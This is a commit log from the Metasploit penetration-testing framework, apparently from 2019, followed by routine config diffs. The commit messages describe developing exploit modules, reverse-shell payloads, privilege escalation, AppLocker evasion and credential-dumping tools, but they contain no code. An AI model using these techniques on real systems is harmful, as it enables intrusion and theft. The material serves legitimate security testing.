Touhid M Shaikh 5e63c83257 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:37:21 +05:30
Touhid M Shaikh 9179ce1de1 Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:32:23 +05:30
Touhid M Shaikh 90b639da71 Update documentation/modules/exploit/multi/http/october_upload_bypass_exec.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:32:15 +05:30
Touhid M Shaikh 974f078114 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:29:32 +05:30
Touhid M Shaikh bb8b3245a3 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:28:59 +05:30
Touhid M Shaikh f0eb7da43b Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-09-04 12:28:51 +05:30
Touhid M Shaikh 7359e4bdd6 fixes suggested by @space-r7
fixed check before passing to the accessor, removed res which is not used.
2019-09-04 12:20:39 +05:30
RageLtMan 04e750024c Clean up linux/x86/rev_tcp asm per acammack
Push read_size to edx as suggested by Adam, optimize shellcode a
bit by selecting using dx instead of edx for sizes under 64K.

Testing:
  Internal only, creates session on every try instead of every 5th.
2019-09-04 01:51:54 -04:00
William Porter 2b97522b69 Fix the CVE format based on failed tests. 2019-09-04 01:36:20 -04:00
William Porter 80aee24d65 Add an auxiliary module to exploit OpenEMR CVE CVE-2018-17179.
Dump all tables in the OpenEMR database and save the data in .csv
format in the loot directory.
2019-09-04 01:18:54 -04:00
bwatters-r7 49c7fe8906 Update payload cache size 2019-09-03 18:25:26 -05:00
bwatters-r7 06a7267017 Bump payload version 2019-09-03 18:13:01 -05:00
RageLtMan e091c8f248 Add port KWA to shell version of ruby ssh payload 2019-09-03 17:41:27 -04:00
Metasploit b1f58b4606 automatic module_metadata_base.json update 2019-09-03 14:26:02 -05:00
bwatters-r7 a520b62df3 Land #12273, Require msf/core/handler/bind_tcp
Merge branch 'land-12273' into upstream-master
2019-09-03 14:15:59 -05:00
RageLtMan 80522a5712 Clean up linux/x64/rev_tcp asm per acammack
Address Adam's comments on the PR - remove redundantly pushed
size from mmap section.
2019-09-03 15:01:52 -04:00
Touhid M Shaikh 6c6603bbd7 Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:18:31 +05:30
Touhid M Shaikh aee17608cd Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:17:50 +05:30
Touhid M Shaikh 6934af0b7d Update modules/exploits/multi/http/october_upload_bypass_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-09-03 23:15:33 +05:30
Shelby Pace bcd181c87d require bind tcp 2019-09-03 09:14:34 -05:00
Clément Notin 72672c82f9 Fix syntax 2019-09-03 15:17:28 +02:00
Tim W ac9b4c137c add compile.rb 2019-09-03 18:46:13 +08:00
Tim W 415caafabe add docs 2019-09-03 17:54:15 +08:00
Tim W bade8bfc48 add live compiling 2019-09-03 17:31:04 +08:00
Touhid M Shaikh c9b0054629 october_upload_bypass_exec Doc
october_upload_bypass_exec Documetation
2019-09-03 12:26:41 +05:30
Touhid M Shaikh 615661a03d first build
first build of october_upload_bypass_exec
2019-09-03 12:04:38 +05:30
RageLtMan 97943261ed Linux x86 reverse_tcp should read known # of bytes
See notes for x64.

This part does not appear to be working properly yet - stages
generated with this commit recv 102b on the first call to read(),
but subsequently things seem to go off the rails after the
intermediate stage is loaded.

Needs testing and fixup at present for x86 (no worse than before
in terms of success rate however).
2019-09-03 01:55:12 -04:00
RageLtMan 05944ba8c1 Linux x64 reverse_tcp should read known # of bytes
The linux x64 reverse tcp stager is hardcoded to read 4K off the
socket. When a small intermediate stager is used, this can result
in reading part of the next stage as well, which means that the
intermediate stager will never recv the # of bytes it needs and
hang indefinitely.

Break out the mettle piece to use separate methods for assembly and
binary payload generation as well as actually putting the product
on the existing session socket.

Change the first part of the stage to check for the intermediate
stager generation method, and use the size of the produced stager
in the recvfrom call or fall back to the prior 4K read size.

Testing:
  None yet

Ping @bcook-r7, @acammack-r7, @OJ, @ZeroSteiner
2019-09-03 01:27:27 -04:00
gkweb76 13560e93c0 Improve ADSI GPO filter to return only one result 2019-09-02 20:15:00 +02:00
Metasploit 288bb56c7f automatic module_metadata_base.json update 2019-09-02 12:41:31 -05:00
h00die ea50149ba7 land #12212 linux LPE ktsuss exploit 2019-09-02 13:32:45 -04:00
h00die 4b9e748882 ktsuss misc fixes 2019-09-02 13:31:30 -04:00
Metasploit 86d6b34da8 automatic module_metadata_base.json update 2019-09-02 10:56:25 -05:00
h00die f1ec0da154 land #12263 fixing a bug in unattend 2019-09-02 11:22:57 -04:00
h00die 5b89c221f0 land #11799 linux local priv esc for cached sudo privs 2019-09-02 11:12:21 -04:00
Brendan Coles 3dc68cfaaa Fix #12262 2019-09-01 18:51:13 +00:00
Tim W cd13a83eb2 add arch check 2019-08-31 20:54:18 +08:00
gkweb76 71b825ee06 Update gpp.rb to display GPO name
GPO files on SYSVOL do only include the GPO GUID, not the GPO name defined by the administrator. This modification makes this gpp module make an ADSI query to retrieve all of the domain's GPOs, and compare their GUID. If one GUID matches, then we know the GPO name and we can display it. On a pentest, a client is much more interested by knowing the GPO name rather than the obscure GUID. The ADSI query relies on meterpreter "extapi" extension.
2019-08-31 12:37:49 +02:00
Metasploit ea14054c0d Bump version of framework to 5.0.46 2019-08-30 16:09:29 -05:00
Adam Cammack 40169c8d42 Update to fixed rex-socket
Pulls in https://github.com/rapid7/rex-socket/pull/19
2019-08-30 14:02:57 -05:00
Adam Cammack 991639c493 Unify SSL cert generate interfaces
After this and rex-socket#19 the interfaces should be compatible again.
2019-08-30 00:01:55 -05:00
Clément Notin caafac3455 meterpreter, fs/file.rb: use client's separator instead of '\\' 2019-08-27 18:12:47 +02:00
Clément Notin f8b7100565 meterpreter UI, fs.rb: use client's separator instead of '\\' 2019-08-27 17:58:51 +02:00
Dezzy ec81ee8f08 Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:21:02 -05:00
Dezzy f796f55cea Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:20:44 -05:00
Dezzy e103194ec4 Update modules/auxiliary/gather/pulse_secure_file_disclosure.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-26 08:20:36 -05:00
Tim W 64695f1354 initial commit 2019-08-24 13:42:22 +08:00
Tim W ea3e2c1047 fix #11574, add WSReset UAC Bypass 2019-08-24 13:35:40 +08:00
Dezzy dbcdfe8332 Create pulse_secure_file_disclosure.rb 2019-08-21 15:58:58 -05:00
Dezzy d1a510234f Delete pulse_secure_file_disclosure.rb 2019-08-21 11:35:35 -05:00
Dezzy 88107648cd Update pulse_secure_file_disclosure.rb 2019-08-21 07:57:15 -05:00
Dezzy 88a941cbd6 Create pulse_secure_file_disclosure.rb 2019-08-21 07:42:43 -05:00
Brendan Coles 9ce3365d56 Add documentation 2019-08-19 13:34:52 +00:00
Brendan Coles ca82e6cd25 Add ktsuss suid Privilege Escalation module 2019-08-19 13:28:02 +00:00
bwatters-r7 8833bddd91 Fix options in ssh command 2019-08-15 07:13:59 -05:00
Shelby Pace 70d5bd4eb3 add default payload, check login 2019-08-13 13:39:15 -05:00
Shelby Pace 286263c094 add quotes, platform 2019-08-13 11:18:31 -05:00
Shelby Pace 48333c5d4e randomize parameter value 2019-08-13 11:14:10 -05:00
Shelby Pace da98d3d376 finish documentation and module 2019-08-13 09:47:24 -05:00
Shelby Pace 71f4eadd18 module rework and some documentation 2019-08-12 15:22:22 -05:00
NickTyrer a5bbd7d1f5 update documentation 2019-08-10 09:03:04 +01:00
Brendan Coles 47cfcba53a Add documentation 2019-08-10 07:08:01 +00:00
Brendan Coles 9fdee466ca Update ptrace_sudo_token_priv_esc 2019-08-10 07:03:23 +00:00
Shelby Pace 76da9ea4fc get shell with test data 2019-08-09 08:40:41 -05:00
Steve Embling 46005eb933 Updated References 2019-08-09 14:08:47 +01:00
NickTyrer 4747049440 add documentation 2019-08-09 08:47:26 +01:00
NickTyrer baea8d1f5f add documentation 2019-08-08 21:14:02 +01:00
NickTyrer 373e409184 add module applocker_evasion_workflow_compiler 2019-08-08 18:48:10 +01:00
NickTyrer 320642e3c0 add module applocker_evasion_regasm_regsvcs 2019-08-08 18:36:36 +01:00
Tim W 979681443c add rudimentary check method 2019-08-06 14:48:37 +08:00
Tim W b35b4674d0 fix forking behaviour 2019-08-06 14:17:28 +08:00
Tim W 0c4fc639fa update with bcoles poc.c 2019-08-06 13:55:01 +08:00
Tim W f48d1b1231 add more links 2019-08-06 13:54:15 +08:00
NickTyrer 61a1abab79 update csproj arch targeting 2019-08-03 10:41:13 +01:00
NickTyrer f675a974a6 implement changes suggested by @cbrnrd 2019-08-02 16:29:08 +01:00
NickTyrer af5e071abe update documentation 2019-08-01 20:46:09 +01:00
NickTyrer 107bb3e9ff add documentation 2019-08-01 09:06:35 +01:00
NickTyrer c8050adab2 add module applocker_evasion_presentationhost 2019-08-01 08:40:30 +01:00
Shelby Pace bc3f87a950 add login and device id code 2019-07-31 16:31:22 -05:00
Shelby Pace 1faa1786c6 add test request 2019-07-29 10:28:07 -05:00
caleBot e9e57895cd Update enum_nagios_xi.md
Added description
2019-07-27 11:33:51 -06:00
breeh c48a43a771 Adding post module for dumping credentials out of NagiosXI 2019-07-27 11:22:58 -06:00
Tim W b258b8270e fix #12104, add CVE-2019-13272 PTRACE_TRACEME linux local exploit 2019-07-19 13:24:13 +08:00
Shelby Pace 61d5be5981 add module skeleton and check 2019-07-17 15:51:11 -05:00
h00die 08a0528d8a add aux file eater module 2019-07-16 20:52:00 -04:00
h00die fd628583fe crack module peer review 2019-07-15 19:57:39 -04:00
h00die b7df6c1272 juniper cisco local config eaters 2019-07-07 21:49:48 -04:00
RageLtMan f874f50748 Update Author fields for several modules
Add hirura to authors list for the Ruby reverse_ssh payloads.

Update all modules with author-per-line name references to be
consistent (useful given the difference in names between commiter
in git log and GitHub account).

Next steps:
  See if HrrRbSsh client-side implementation can be fleshed out
enough to create alternative payload outputs for both of the Ruby
modules (using TARGET/ACTION to select between net/ or hrr_).
2019-06-25 20:49:26 -04:00
RageLtMan d00d5fbff9 Address review comments by Hirura
@hirura noticed two bugs: a typo, and a mistake creating an empty
RequestHandler object since the underlying library already does
this when it does not have a RequestHandler assigned for the
request type.

Fix typo for #1
Remove the RequestHandler assignments in #2 and related opt merge.

Testing:
  None yet
2019-06-25 18:27:57 -04:00
Quentin Kaiser 94dd2b1800 Fix disclosure date format.
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-06-25 20:50:56 +02:00
Quentin Kaiser 5ca4163765 Fix documentation markup and titles. 2019-06-25 20:50:09 +02:00
RageLtMan 3870dad3d1 Fix handler type copy pasta 2019-06-24 13:55:53 -04:00
RageLtMan 510b2f5aac Trim reverse ssh cmd payload 2019-06-23 21:27:48 -04:00
RageLtMan d1eaac9932 Implement native reverse SSH via openssh binary
Implement a reverse SSH shell using nothing but the on-target SSH
client and a fifo in the same manner as used by netcat payloads.
This is not forensically sound as the fifo will be caught by HIDS,
filesystem snapshots, and other defensive measures. However, it
does provide a way out from almost any modern POSIX system as they
nearly all have an SSH client in one form or another.

Convert existing Ruby reverse SSH payloads to use dynamic cached
payload sizing.
2019-06-23 05:48:50 -04:00
RageLtMan c339662fed SshCommandSession and Ruby Payloads
Implement a command-only session type over the HrrRbSsh client
Connection Channels' file descriptors, adjust from base command
session to deal with the separate reader/writer IOs. Technically,
a TTY session works out of the box here as well.

Implement a pair of showcase Ruby payloads using net/ssh to call
back to the handler, create a shell channel, and loop piping I/O
between framework session and client via the Ruby backtick exec.

Next Steps:
  Command payloads need to be written for every major interpreted
language as well as some sort of bashism a la openssl_double if
it comes to that, but preferably single socket implementation.

Testing:
  Very minimal, needs a good run through by the community and R7
2019-06-23 05:20:04 -04:00
RageLtMan dd5814654c update hrr_rb_ssh version 2019-06-22 20:09:26 -04:00
RageLtMan f0b24339fe Implement Rex::Proto::Ssh::Server scaffold
Create the Rex::Proto::Ssh namespace and implement hrr_rb_ssh
objects in the Rex namespace with Rex' sockets stack, permissive
default connection options to accept any authentication, ACLs for
port forwarding, and a modified Connection #initialize method for
simplified instantiation.

The actual Rex::Proto::Ssh::Server object follow standard Rex
semantics for services to permit use in handlers, exploits, and
auxiliary modules in the same manner as the Http::Server is used
today.

This work is far from complete - the HrrRbSsh low-level objects
should be decomposed into Rex' pattern as they currently depend
heavily on their own Procs and Threads internally which use the
parent Connection object's attributes to look up which Proc should
be called in response to a Channel or Authentication request. This
is a bit difficult to do piecemeal given the intertwined data and
execution dependency inside of HrrRbSsh.

Next steps:
1. Create handler and reverse_ssh command session payloads
1a. POSIX systems generally have SSH already
1b. Windows Powershell is likely able to hotload SSH libs as a
pre-stager.
1c. Other interpreted runtimes usually have client-ssh libraries
2. Implement options parsing, handling, etc for user-customizable
functionality from the Msf namespace.
3. Use libssh2 to permit mettle use of the SSH transport.
3a. Bother @OJ about doing the same for Windows Meterpreter.
3b. Bother @zeroSteiner to implement SSH transport for PyMeterp.
3c. Ask @timwr and @mihi how viable this is for Android/Java.
3d. See if @OJ will do this for CLR-meterp on a livestream.
4. Write a post module which runs this SSH server from a mettle
session using the compromised hosts's own host keys and passwd
file for "valid" authentication while logging and MITMing the
entire command stream remotely - help folks shake off some of the
complacency around "secure shells."
5. Write a plugin which will permit sharing of the entire console
context, specific acquired sessions, or TCP forwards with the
pugin's SSH clients based on the credentials used to connect.
6. Further decompose the server code into Rex to permit writing
client fuzzers, loggers, and other tooling to test the posture of
SSH client implementations.
7. Work to implement SSH client functionality in HrrRbSsh and
convert the rest of Rex/Msf to use this library instead only.
8. Rewrite and import MetaSsh into Metasploit proper using the
new Rex::Proto::Ssh code.

-----

Huge thanks to @hirura for writing HrrRbSsh. I've spent countless
hours on and off working to implement server-side semantics in
net/ssh years ago and it was becoming a pretty full rewrite due
to the ordering of server/client req/resp messages and who sent
what to whom. This library is a much much cleaner implementation
and provides full, modern SSH servers in pure Ruby.
2019-06-22 20:06:15 -04:00
RageLtMan 8549f416f8 SSH gem requirement for gemspec 2019-06-22 20:06:15 -04:00
Tim W 809a990ab8 add mouse doubleclick 2019-06-20 15:21:41 +08:00
Tim W 48d29e532e add keyevent api 2019-06-20 13:54:13 +08:00
h00die bd58fdf77a remove ssh.rb from change 2019-06-09 15:11:07 -04:00
h00die 4d60f38177 brocade working 2019-06-09 15:10:05 -04:00
h00die cf90f8250d reimport brocade module 2019-06-09 15:09:06 -04:00
h00die 65a87b88ab modify creds command to truncate long hashes 2019-06-02 21:38:41 -04:00
h00die 3589c4f4c7 avoid cracking hashes already cracked 2019-06-02 21:14:02 -04:00
h00die b26c5c63e2 add webapp and complete docs 2019-05-31 19:11:01 -04:00
h00die 65536034b2 overhaul when things run 2019-05-31 17:13:34 -04:00
h00die 2cccd50160 creds command working
debuggin hashcat aix

remove word normal

get hashcat working on aix

add deprecated jtr_aix

prettying up crack_aix

custom wordlists should include the words themselves

make format transparent to user

aix cleanup, linux working

linux working, database in progress

crack databases working

crack windows working

spaces at eol

spec updates

spec updates

spec working

add version detection

crack_aix fixes and docs

refactoring crack modules

fix syntax error

docs for crackers

markup touchups

osx cracker

jenkins

fix jenkins

remove crypt fix osx for 10.7

doc fixes and osx sha512
2019-05-31 12:18:25 -04:00
bcoles ca8c72d586 Fix abrt package version check 2019-05-30 04:24:53 +10:00
Brendan Coles f11ce8635f Add ptrace Sudo Token Privilege Escalation module 2019-04-30 21:54:18 +00:00
bcoles ba03a0c9eb Remove unused variable 2019-04-20 21:41:25 +10:00
Brendan Coles a5b894dca3 Add sosreport-rhel7.py 2019-04-20 11:56:01 +00:00
Brendan Coles e714f9028e Add ABRT sosreport Privilege Escalation module 2019-04-20 11:48:52 +00:00
Quentin Kaiser e2101c7931 Fix module so it supports both ARCH_CMD and ARCH_ARMLE. 2019-03-28 19:50:26 +01:00
Quentin Kaiser 8ec5a124b4 Follow @bcoles recommendations for 'check' function. 2019-03-28 15:59:22 +01:00
Quentin Kaiser 92e4393025 Update documentation to reflect usage of CmdStager. 2019-03-28 11:09:39 +01:00
Quentin Kaiser cbcc2f2088 Moved to Cmdstager. 2019-03-28 11:03:01 +01:00
Quentin Kaiser a9fcd13257 Removed unnecessary includes. 2019-03-28 10:53:07 +01:00
Quentin Kaiser 1a564a6f70 Uppercase words. 2019-03-28 10:49:10 +01:00
Quentin Kaiser 7794cc0234 No need for parenthesis. 2019-03-28 10:48:38 +01:00
Quentin Kaiser fbaebc14be Shrink to oneliner. 2019-03-28 10:45:17 +01:00
Quentin Kaiser cef8dc2fa2 << is preferred. 2019-03-28 10:42:33 +01:00
Quentin Kaiser de6f49305c Correct disclosure date format. 2019-03-27 14:22:37 +01:00
Quentin Kaiser 6fde3ea566 These files have nothing to do here. 2019-03-27 14:20:34 +01:00
Quentin Kaiser ed7d9a10ac Release of Awindinc SNMP exploit. 2019-03-27 14:13:36 +01:00
pkb1s 828eee12eb using "return early, return often" style 2019-03-04 19:31:49 +00:00
pkb1s 8e855867a9 Update exchange_web_server_pushsubscription.rb 2019-03-04 18:39:30 +00:00
pkb1s d0ab528381 Update exchange_web_server_pushsubscription.rb 2019-03-04 18:15:05 +00:00
pkb1s 794e74c25b added cve in reference 2019-03-04 17:18:52 +00:00
pkb1s 12ffc2a811 changed reference structure 2019-03-04 17:17:22 +00:00
bcoles 3196b6bacb Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:11:00 +00:00
pkb1s b43f6e8173 updated author section 2019-03-04 17:09:17 +00:00
bcoles 62054ed096 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:06:04 +00:00
bcoles 2286824645 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:49 +00:00
bcoles 40ff19a0c3 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:34 +00:00
bcoles 7734f436e9 Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
Co-Authored-By: pkb1s <petkoutroubis@gmail.com>
2019-03-04 17:04:24 +00:00
Garvit Dewan c48a6ddbdf Add /boot/grub2/user.cfg path to grub_password 2019-02-21 14:17:15 +05:30
pkb1s e06d7e2ded correction of CVE number 2019-02-17 21:36:30 +00:00
Garvit Dewan f823927832 Update documentation 2019-02-17 23:37:52 +05:30
Garvit Dewan a1b1ace18f Save the gathered credentials to database 2019-02-17 23:33:12 +05:30
Garvit Dewan 2dd9466c82 Add documentation for grub_password module 2019-02-17 22:15:47 +05:30
Garvit Dewan 85add746e1 Make suggested changes to grub_password module 2019-02-17 21:31:58 +05:30
Garvit Dewan 68414d07ce Make suggested changes to grub_password module 2019-02-17 20:23:26 +05:30
Garvit Dewan 22340ab2c1 Add *nix Gather Grub Password module 2019-02-17 19:29:47 +05:30
pkb1s 1999f6885b Minor changes to module options 2019-02-16 13:26:02 +00:00
pkb1s e12052a83e Update exchange_web_server_pushsubscription.md 2019-02-16 13:19:07 +00:00
pkb1s 3a77cc9805 Update exchange_web_server_pushsubscription.rb 2019-02-16 02:38:55 +00:00
pkb1s 72f73c59ee Update exchange_web_server_pushsubscription.md 2019-02-16 02:37:18 +00:00
pkb1s 51df27636d Add documentation 2019-02-16 02:34:14 +00:00
root 949d140326 Added auxiliary module code 2019-02-16 02:04:40 +00:00
Zack Flack 1f802a88dc rename module documentation 2019-02-12 21:02:02 +08:00
Zack Flack 42fa436940 apply rubocop fixes, remove unless statements 2019-02-12 20:25:58 +08:00
Zack Flack 16628806e1 generate relative path to /etc/passwd 2019-02-12 18:43:15 +08:00
Zack Flack 17c6b8dec1 add initial documentation 2019-02-11 23:51:16 +08:00
Zack Flack 5fde493add refactor version check, reduce verbosity 2019-02-11 23:50:09 +08:00
Zack Flack 92063560eb add version check, tweak payload execution for aix 2019-02-10 23:33:24 +08:00
Zack Flack 619d51c768 add inital port of perl exploit 2019-02-06 19:42:40 +08:00
Steve Embling 8585dacbb4 Updated to relevant references
Updated references to blog post and mailing list of commit proposal

Updated disclosure date to commit proposal
2019-01-18 17:01:17 +00:00
Aaron Ringo 9dd4017674 some modifications to WIP, changed gcc, fixed other errors 2018-11-26 21:06:37 -06:00
Aaron Ringo 5e9c10dbe8 added modulepath, tested on centos with selinux 2018-11-25 19:48:05 -06:00
Aaron Ringo 2ad453b6e3 added modulepath 2018-11-25 15:54:37 -06:00
Quentin Kaiser 479b09962c Awind stuff. 2018-09-11 15:16:23 +02:00
Steve f7271d0086 Added curl flavor 2018-02-15 13:11:25 +00:00
Steve 8976b52216 Handle error stating that SNMP has timed out 2018-02-14 17:35:19 +00:00
Steve b0aeee8435 Documentation update 2018-02-14 17:08:04 +00:00
Steve 08d1f9a5c8 Documentation update 2018-02-14 17:03:42 +00:00
Steve 5f6ecd2ff9 Documentation update 2018-02-14 16:58:14 +00:00
Steve 734a6496c5 Fix escaping of printf and echo payloads 2018-02-14 16:21:15 +00:00
Steve dd267ba438 Fix msftidy warnings 2018-02-14 09:35:25 +00:00
Steve 361a999dd1 Use ARCH_X64 instead 2018-02-09 18:49:04 +00:00
Steve f17b9aed0c Use cmd_stager 2018-02-09 18:38:09 +00:00
Steve 7598a5801a Fix use of local var 2018-02-09 09:36:59 +00:00
Steve f372e8ec09 Documentation markdown fix 2018-02-08 16:19:09 +00:00
Steve 829cfbab3b Replaced string concats with interpolation 2018-02-08 16:11:47 +00:00
Steve a415a82aa3 Shortened SNMPManager.open statements 2018-02-08 16:09:53 +00:00
Steve 60e3b7be1a Clarified printf string 2018-02-08 16:06:44 +00:00
Steve 9bea263805 Changed temporary filename to local variable 2018-02-08 16:04:49 +00:00
Steve 50a1a0ae6c Add comment to space limitation 2018-02-08 16:03:17 +00:00
Steve ba528c8d50 Indented description 2018-02-08 16:01:16 +00:00
Steve 180bc1f741 Add options to documentation 2018-02-08 15:58:01 +00:00
Steve 358725bdd6 Update documentation 2018-02-08 15:48:19 +00:00
Steve Embling 1161787cbd Removed comma in payload -> space 2018-01-02 12:28:20 +00:00
Steve Embling e1fdd403ed Added documentation 2017-12-22 16:51:10 +00:00
Steve Embling be8538152c Added net_snmpd_rw_access exploit, authenticated remote code execution on Net-SNMPD for Linux systems 2017-12-22 16:42:03 +00:00
1140 changed files with 50059 additions and 8234 deletions
+39 -36
View File
@@ -1,39 +1,42 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
+4 -4
View File
@@ -112,21 +112,21 @@ Metrics/MethodLength:
often exceed 200 lines.
Max: 300
Naming/UncommunicativeMethodParamName:
Naming/MethodParameterName:
Enabled: true
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/UnneededPercentQ:
Style/RedundantPercentQ:
Enabled: false
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/AlignHash:
Layout/HashAlignment:
Enabled: false
Description: 'aligning info hashes to match these rules is almost impossible to get right'
@@ -142,7 +142,7 @@ Layout/EmptyLinesAroundMethodBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/AlignParameters:
Layout/ParameterAlignment:
Enabled: true
EnforcedStyle: 'with_fixed_indentation'
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
+1 -1
View File
@@ -1 +1 @@
2.6.2
2.6.5
+3 -3
View File
@@ -11,8 +11,8 @@ addons:
- graphviz
language: ruby
rvm:
- '2.5.5'
- '2.6.2'
- '2.5.7'
- '2.6.5'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
@@ -43,7 +43,7 @@ before_install:
